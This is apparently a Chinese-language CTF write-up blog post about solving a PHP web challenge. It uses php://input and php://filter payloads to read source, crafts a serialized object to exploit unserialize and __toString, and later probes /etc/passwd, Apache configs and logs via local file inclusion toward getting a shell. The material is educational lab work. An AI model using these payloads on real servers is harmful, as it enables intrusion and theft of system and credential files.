:)遇到了两次的web题,第二次看到还是懵逼

Author Avatar
Pr0ph3t 4月 14, 2017
  • 这次我记笔记,看你有多皮

目标url:http://123.XXX.XXX.XXX

进入页面之后查看源代码发现有一段注释:

<code class="php">&lt;?php$user = $_GET["user"];$file = $_GET["file"];$pass = $_GET["pass"];if(isset($user)&amp;&amp;(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!&lt;br&gt;"; include($file); //class.php}else{ echo "you are not admin ! ";}?&gt;</code>

从判断的else后面猜测这个是部分的页面代码
然后首页嘲讽我并不是admin
查看代码之后发现在if判断中有

<code class="php">file_get_content($user)==="the user is admin"</code>

这里是一个小技巧,用*** php://input *** php伪协议去获取*** post 的数据,然后通过 file_get_content 读取就可以通过这个判断了
(用火狐的hackbar构造post请求后使用php://input截获会比较方便)
下一步代码包含了
$file 变量并且注释又写了一个php文件,意思是要我们包含这个文件?
这里如果你看了前面的php伪协议之后发现有个
php://filter ***可以转换文件成base64,然后再被include
payload为

<code class="url">?user=php://input&amp;file=php://filter/convert.base64-encode/resource=class.php</code>

然后base64decode之后发现class.php源码如下

<code class="php">&lt;?phpclass Read{//f1a9.php public $file; public function __toString(){ if(isset($this-&gt;file)){ echo file_get_contents($this-&gt;file); } return "__toString was called!"; }}?&gt;</code>

这是一个类,并且重写了*** __toString() *** 方法,然后我们再用前面的*** php://filter ***查看index.php的源码,看看他是怎么处理pass字段的
base64decode之后如下

<code class="php">&lt;?php$user = isset($_GET['user'])?$_GET["user"]:"";$file = isset($_GET['file'])?$_GET["file"]:"class.php";$pass = isset($_GET["pass"])?$_GET["pass"]:"";if(isset($user)&amp;&amp;(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!&lt;br&gt;"; if(preg_match("/f1a9/",$file)){ exit(); }else{ include($file); //class.php $pass = unserialize($pass); echo $pass; }}else{ echo "you are not admin ! ";}?&gt;&lt;!--$user = $_GET["user"];$file = $_GET["file"];$pass = $_GET["pass"];if(isset($user)&amp;&amp;(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!&lt;br&gt;"; include($file); //class.php}else{ echo "you are not admin ! ";} --&gt;</code>

从这可以看到pass字段使用*** unserialize() 处理再echo出来的,那么echo这里和类就有点关系了,可以知道echo一个类的时候会自动调用这个类的 __toString() ***方法
所以我们只要把pass构造成一个被serialize之后的Read对象就好了。
可以直接本地写一个Read类序列化一下。
发现serialize之后为 *** O:4 :”Read”: 1:{s: 4:”file”;s: 10:”123″;} ***
将代表file属性值的123改成class.php提示的./f1a9.php就可以妥妥的拿到flag了

题外拓展:
看完filter的用处之后为突然想起来刚刚看到的关于用LFI拿shell的方法,莫非。。。。
然后我尝试构造出/etc/passwd 包含,发现竟然可以??!!
然后我再去/etc/apache2/看有关配置,
首先看apache2.conf
……也就是常规的设置嘛
然后看看apache的log目录在哪
构造/etc/apache2/envvars
发现apache_log_dir还是默认的/var/log/apache2/error.log
狂喜ing
然后构造/var/log/apache2/error.log
发现。。。。没有权限啊 :)
然后想看看这个服务器下有没有其他站点
查看/etc/apache2/sites-available/000-defualt.conf
发现所有访问80端口的都是默认本地下的index.php。。。也就是题目。。。
既然不能包含log,也查看不了/etc/shadow。。。
先留个档,等以后厉害点再来研究研究

Pr0ph3t
2017.4.14

发表评论

电子邮件地址不会被公开。 必填项已用*标注